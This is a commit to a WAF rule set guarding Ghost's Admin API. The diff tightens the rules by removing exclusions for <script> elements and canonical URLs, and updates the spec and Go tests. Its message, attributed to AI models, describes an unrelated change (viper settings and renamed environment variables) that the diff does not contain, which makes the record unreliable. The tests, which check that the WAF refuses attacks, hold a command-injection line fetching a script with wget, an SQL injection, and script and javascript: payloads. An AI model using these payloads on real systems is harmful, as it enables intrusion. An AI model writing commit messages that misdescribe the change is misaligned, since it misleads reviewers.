Read every setting through viper and rename the settings (closes #211)

Every setting of waf and rproxy is read through viper, in place of the
os.LookupEnv function Main passed down. NewViper turns AutomaticEnv and
AllowEmptyEnv on, so a setting that is set but empty reads as set. A
setting may also be given as a file, the _FILE form, which rproxy's
settings now have too; rproxy still writes nothing to disk.

The settings are renamed: waf's take the prefix SWW_WAF_, rproxy's take
SWW_RPROXY_, and the shared SWW_COMMAND keeps SWW_. The Core Rule Set's
settings take SWW_WAF_CORE_RULE_SET_ rather than SWW_WAF_WAF_.

Model: deepseek-v4-pro (first version); opus-5-5 (rework)

SPEC.md

@@ -1773,10 +1773,6 @@ member. A staff user's address skips them too: `username` when signing in, and
 `email` when creating the first staff user, asking for a password reset or
 saving a profile.
 
-The `canonical_url` of a post or a page skips 930120 and 932120, as `url` does.
-A post's skips them under `/ghost/api/admin/posts/`, and a page's under
-`/ghost/api/admin/pages/`.
-
 The articles carry HTML on purpose. These fields on the Admin API hold them:
 
 - `lexical`, which the editor saves, and `mobiledoc` and `html`, which
@@ -1804,20 +1800,11 @@ Code injection skips these rules:
 - 921130, 941100, 941160 and 941270, which refused `<meta>` and `<link>`
   elements.
 
-A `<script>` element skips 941110 in posts, pages and code injection, so an HTML
-card can embed a widget and code injection can load analytics. These are the
-fields, on the Admin API:
-
-- `lexical`, `mobiledoc` and `html` of posts and pages;
-- `codeinjection_head` and `codeinjection_foot` of posts and pages;
-- `value` of settings.
-
-`<script>alert(1)</script>` is still refused in snippets and newsletters.
-`javascript:alert(1)` is still refused in the articles and code injection
-(941170 and 941210). Path traversal and SQL injection are still refused in every
-field above. Script injection is too, outside the articles and code injection.
-`; wget http://example.com/x.sh` is still refused in the query fields, the plain
-text, the addresses and the canonical URLs.
+`<script>alert(1)</script>` and `javascript:alert(1)` are still refused in the
+articles and code injection (941110, 941170 and 941210). Path traversal and SQL
+injection are still refused in every field above. Script injection is too,
+outside the articles. `; wget http://example.com/x.sh` is still refused in the
+query fields, the plain text and the addresses.
 
 Coraza names a staff user's `profile_image` field `json.users.0.profile_image`.
 That name holds `.profile`, a file on the list of system files, so the name

internal/coreruleset/ghost.conf

@@ -153,8 +153,8 @@ SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
 #   snippets.<n>.lexical and snippets.<n>.mobiledoc, a part of a post saved for
 #   reuse
 #   newsletters.<n>.footer_content, the footer of a newsletter
-# A javascript: link (941170, 941210) is still refused in them. A <script>
-# element (941110) passes only in posts and pages, by 900366.
+# A <script> element (941110) and a javascript: link (941170, 941210) are still
+# refused in them.
 SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
     "id:900355,phase:1,pass,nolog,chain"
     SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/ "@eq 0" \
@@ -184,8 +184,7 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
 # These fields hold it, and skip the rules anywhere on the Admin API:
 #   posts.<n>.codeinjection_head and _foot, and the same fields of pages
 #   settings.<n>.value, the value of a setting
-# A javascript: link is still refused in them, and a <script> element passes
-# by 900366.
+# A <script> element and a javascript: link are still refused in them.
 SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
     "id:900356,phase:1,pass,nolog,chain"
     SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/ "@eq 0" \
@@ -201,38 +200,6 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
         ctl:ruleRemoveTargetById=941160;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
         ctl:ruleRemoveTargetById=941270;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/"
 
-# A <script> element skips 941110 in posts, pages and code injection, on the
-# Admin API, which refused:
-#   an HTML card that embeds a widget with its script
-#   code injection that loads analytics,
-#   <script defer src="https://analytics.example.com/script.js"></script>
-# These fields take a <script> element on purpose:
-#   posts.<n>.lexical, mobiledoc and html, and the same fields of pages
-#   posts.<n>.codeinjection_head and _foot, and the same fields of pages
-#   settings.<n>.value, the value of a setting
-# Snippets and a newsletter's footer still refuse it.
-SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
-    "id:900366,phase:1,pass,nolog,chain"
-    SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/ "@eq 0" \
-        "ctl:ruleRemoveTargetById=941110;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/"
-
-# The canonical URL of a post or a page skips the two rules that url skips:
-#   930120: https://example.com/blog/.htaccess/
-#   932120: https://example.com/blog/powershell/
-# Each of these fields skips them only on its own path:
-#   posts.<n>.canonical_url, under /ghost/api/admin/posts/
-#   pages.<n>.canonical_url, under /ghost/api/admin/pages/
-SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/posts/" \
-    "id:900383,phase:1,pass,nolog,chain"
-    SecRule &ARGS_GET:/^json\.posts\.\d+\.canonical_url$/ "@eq 0" \
-        "ctl:ruleRemoveTargetById=930120;ARGS:/^json\.posts\.\d+\.canonical_url$/,\
-        ctl:ruleRemoveTargetById=932120;ARGS:/^json\.posts\.\d+\.canonical_url$/"
-SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/pages/" \
-    "id:900384,phase:1,pass,nolog,chain"
-    SecRule &ARGS_GET:/^json\.pages\.\d+\.canonical_url$/ "@eq 0" \
-        "ctl:ruleRemoveTargetById=930120;ARGS:/^json\.pages\.\d+\.canonical_url$/,\
-        ctl:ruleRemoveTargetById=932120;ARGS:/^json\.pages\.\d+\.canonical_url$/"
-
 # Saving a staff user's profile sends the field profile_image, whose name holds
 # .profile, a file the list of system files names (930120).
 SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \

internal/coreruleset/ghost_test.go

@@ -143,21 +143,10 @@ var ghostAddressFields = []ghostField{
 	{http.MethodPut, ghostUser, `{"users":[{"email":"VALUE"}]}`},
 }
 
-// ghostCanonicalURLFields hold the canonical URL of a post or a page, and skip
-// 930120 and 932120, as url does.
+// ghostArticleFields hold an article and skip the rules of 900355.
 //
 //nolint:gochecknoglobals // a constant cannot be a list
-var ghostCanonicalURLFields = []ghostField{
-	{http.MethodPut, ghostPost, `{"posts":[{"canonical_url":"VALUE"}]}`},
-	{http.MethodPost, ghostPosts, `{"posts":[{"canonical_url":"VALUE"}]}`},
-	{http.MethodPut, ghostPage, `{"pages":[{"canonical_url":"VALUE"}]}`},
-}
-
-// ghostPostFields hold a post or a page, skip the rules of 900355, and take a
-// <script> element by 900366.
-//
-//nolint:gochecknoglobals // a constant cannot be a list
-var ghostPostFields = []ghostField{
+var ghostArticleFields = []ghostField{
 	{http.MethodPut, ghostPost, `{"posts":[{"lexical":"VALUE"}]}`},
 	{http.MethodPut, ghostPage, `{"pages":[{"lexical":"VALUE"}]}`},
 	{
@@ -166,13 +155,6 @@ var ghostPostFields = []ghostField{
 		`{"posts":[{"html":"VALUE"}]}`,
 	},
 	{http.MethodPost, ghostPosts, `{"posts":[{"mobiledoc":"VALUE"}]}`},
-}
-
-// ghostSnippetAndNewsletterFooterFields hold a snippet or a newsletter's
-// footer, skip the rules of 900355, and still refuse a <script> element.
-//
-//nolint:gochecknoglobals // a constant cannot be a list
-var ghostSnippetAndNewsletterFooterFields = []ghostField{
 	{
 		http.MethodPost,
 		"/ghost/api/admin/snippets/",
@@ -185,16 +167,8 @@ var ghostSnippetAndNewsletterFooterFields = []ghostField{
 	},
 }
 
-// ghostArticleFields hold an article and skip the rules of 900355.
-//
-//nolint:gochecknoglobals // a constant cannot be a list
-var ghostArticleFields = slices.Concat(
-	ghostPostFields,
-	ghostSnippetAndNewsletterFooterFields,
-)
-
-// ghostCodeFields hold code injection or a setting, skip the rules of 900356,
-// and take a <script> element by 900366.
+// ghostCodeFields hold code injection or a setting and skip the rules of
+// 900356.
 //
 //nolint:gochecknoglobals // a constant cannot be a list
 var ghostCodeFields = []ghostField{
@@ -230,16 +204,13 @@ var ghostQueryFields = []string{
 	ghostAdminFilter, ghostContentFilter, ghostSearch, ghostEmbed,
 }
 
-// ghostURLs are addresses 930120 and 932120 refused in url and in a canonical
-// URL.
+// ghostURLs are addresses 930120 and 932120 refused in url.
 //
 //nolint:gochecknoglobals // a constant cannot be a list
 var ghostURLs = []string{
 	"https://github.com/example/site/blob/main/.htaccess",
 	"https://example.com/blog/powershell-tips?ref=ghost",
 	"https://example.com/docs/python3/",
-	"https://example.com/blog/powershell/",
-	"https://example.com/blog/.htaccess/",
 }
 
 // ghostAddresses are addresses 930120, 932120 and 932260 refused.
@@ -340,10 +311,6 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
 
 	for _, address := range ghostURLs {
 		wantGhostQuery(t, ghostEmbed+url.QueryEscape(address), false)
-
-		for _, f := range ghostCanonicalURLFields {
-			wantGhostField(t, f, address, false)
-		}
 	}
 
 	for _, address := range ghostAddresses {
@@ -368,41 +335,11 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
 		url.QueryEscape("label:[powershell-users]+name:~'ls -la'"), false)
 }
 
-// ghostWidget is an HTML card that embeds a widget with its script.
-const ghostWidget = `<div id="signup"></div>` +
-	`<script src="https://widgets.example.com/form.js" async></script>`
-
-// ghostWidgetCard is ghostWidget as the editor saves it in lexical.
-const ghostWidgetCard = `{"root":{"children":[{"type":"html","version":1,` +
-	`"html":"<div id=\"signup\"></div><script ` +
-	`src=\"https://widgets.example.com/form.js\" async></script>"}],` +
-	`"direction":null,"format":"","indent":0,"type":"root","version":1}}`
-
-// ghostAnalytics is code injection that loads analytics.
-const ghostAnalytics = `<script defer ` +
-	`src="https://analytics.example.com/script.js"></script>`
-
-func TestGhostScriptsPassInPostsAndCodeInjection(t *testing.T) {
-	t.Parallel()
-
-	// An HTML card in a post, as the editor saves it, and as integrations
-	// send it.
-	wantGhostField(t, ghostPostFields[0], ghostWidgetCard, false)
-
-	for _, f := range ghostPostFields {
-		wantGhostField(t, f, ghostWidget, false)
-	}
-
-	// Site code injection, saved in settings, and a post's or a page's own.
-	for _, f := range ghostCodeFields {
-		wantGhostField(t, f, ghostAnalytics, false)
-	}
-}
-
-// ghostAttacks are an SQL injection and a path traversal, not escaped.
+// ghostAttacks are an SQL injection, a path traversal and a script
+// injection, not escaped.
 //
 //nolint:gochecknoglobals // a constant cannot be a list
-var ghostAttacks = []string{injection, pathTraversal}
+var ghostAttacks = []string{injection, pathTraversal, scriptTag}
 
 // commandAfterASeparator is a shell command after a ";", not escaped.
 const commandAfterASeparator = "; wget http://example.com/x.sh"
@@ -412,7 +349,7 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
 
 	for _, attack := range ghostAttacks {
 		for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
-			ghostCanonicalURLFields, ghostArticleFields, ghostCodeFields) {
+			ghostArticleFields, ghostCodeFields) {
 			wantGhostField(t, f, attack, true)
 		}
 
@@ -421,22 +358,9 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
 		}
 	}
 
-	// A script injection stays refused in every field that does not take a
-	// <script> element.
-	for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
-		ghostCanonicalURLFields, ghostSnippetAndNewsletterFooterFields) {
-		wantGhostField(t, f, scriptTag, true)
-	}
-
-	for _, target := range ghostQueryFields {
-		wantGhostQuery(t, target+url.QueryEscape(scriptTag), true)
-	}
-
 	// A command after a separator stays refused wherever its rules do not
-	// misfire: in the query fields, the plain text, the addresses and the
-	// canonical URLs.
-	for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
-		ghostCanonicalURLFields) {
+	// misfire: in the query fields, the plain text and the addresses.
+	for _, f := range slices.Concat(ghostTextFields, ghostAddressFields) {
 		wantGhostField(t, f, commandAfterASeparator, true)
 	}
 
@@ -448,15 +372,11 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
 		)
 	}
 
-	// The articles and code injection carry HTML on purpose, but a
-	// javascript: link is still refused there, and a script element in
-	// snippets and a newsletter's footer.
+	// The articles and code injection carry HTML on purpose, but a script
+	// element and a javascript: link are still refused there.
 	for _, f := range slices.Concat(ghostArticleFields, ghostCodeFields) {
-		wantGhostField(t, f, `<a href="javascript:alert(1)">click</a>`, true)
-	}
-
-	for _, f := range ghostSnippetAndNewsletterFooterFields {
 		wantGhostField(t, f, `<p>Hi</p><script src="/x.js"></script>`, true)
+		wantGhostField(t, f, `<a href="javascript:alert(1)">click</a>`, true)
 	}
 
 	// An address keeps 932250, which refuses a listing of files.
@@ -481,8 +401,6 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
 		setupEmail         = `{"setup":[{"email":"python3.dev@example.com"}]}`
 		passwordResetEmail = `{"password_reset":[{"email":"python3.dev@example.com"}]}`
 		userEmail          = `{"users":[{"email":"python3.dev@example.com"}]}`
-		postURL            = `{"posts":[{"canonical_url":"https://example.com/powershell/"}]}`
-		pageURL            = `{"pages":[{"canonical_url":"https://example.com/powershell/"}]}`
 	)
 
 	for _, refused := range []struct{ target, body string }{
@@ -519,12 +437,6 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
 		{ghostPasswordReset + "?json.password_reset.0.email=x", passwordResetEmail},
 		{ghostPosts, userEmail},
 		{ghostUser + "?json.users.0.email=x", userEmail},
-		{"/api/posts/1/", postURL},
-		{ghostMembers, postURL},
-		{ghostPage, postURL},
-		{ghostPost + "?json.posts.0.canonical_url=x", postURL},
-		{ghostPost, pageURL},
-		{ghostPage + "?json.pages.0.canonical_url=x", pageURL},
 		{ghostSession, `{"username":"x","pass":"' OR '1'='1"}`},
 		{"/ghost/api/admin/users/me/", `{"password":"' OR '1'='1"}`},
 		{"/ghost/api/admin/posts/1/", `{"users":[{"profile_image":null}]}`},
@@ -547,44 +459,6 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
 	}
 }
 
-func TestGhostScriptExclusionIsNarrow(t *testing.T) {
-	t.Parallel()
-
-	crs := readingBodies(t)
-
-	// A <script> element keeps 941110 off the Admin API, in fields that do
-	// not take one, and when the query has a field of the same name. 941100
-	// and 941160 refuse each request too, so the test looks for 941110
-	// itself.
-	const (
-		script           = `<script defer src=\"/script.js\"></script>`
-		scriptInPost     = `{"posts":[{"lexical":"` + script + `"}]}`
-		scriptInSettings = `{"settings":[{"value":"` + script + `"}]}`
-	)
-
-	for _, refused := range []struct{ target, body string }{
-		{"/ghost/api/content/posts/", scriptInPost},
-		{ghostPosts + "?json.posts.0.lexical=x", scriptInPost},
-		{ghostPosts, `{"posts":[{"feature_image_caption":"` + script + `"}]}`},
-		{"/ghost/api/admin/users/me/", `{"users":[{"bio":"` + script + `"}]}`},
-		{"/api/settings/", scriptInSettings},
-		{ghostSettings + "?json.settings.0.value=x", scriptInSettings},
-	} {
-		r := request{http.MethodPut, refused.target, []string{jsonBody}}
-
-		got, _ := inspectBody(t, crs, r, refused.body)
-		if got.Score < ghostThreshold ||
-			!slices.Contains(got.RuleIDs, 941110) {
-			t.Errorf(
-				"PUT %s %s: %+v, want 941110 among them",
-				refused.target,
-				refused.body,
-				got,
-			)
-		}
-	}
-}
-
 func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
 	t.Parallel()
 

internal/coreruleset/testdata/ghost-requests.txt

@@ -533,8 +533,6 @@
 {"method": "GET", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
 {"method": "PUT", "target": "/ghost/api/admin/pages/6af45d34d281b00001a599a0/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 3980", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"pages\":[{\"title\":\"About: python3, powershell & .htaccess\",\"slug\":\"about-python3-powershell-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Who writes here, and why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. 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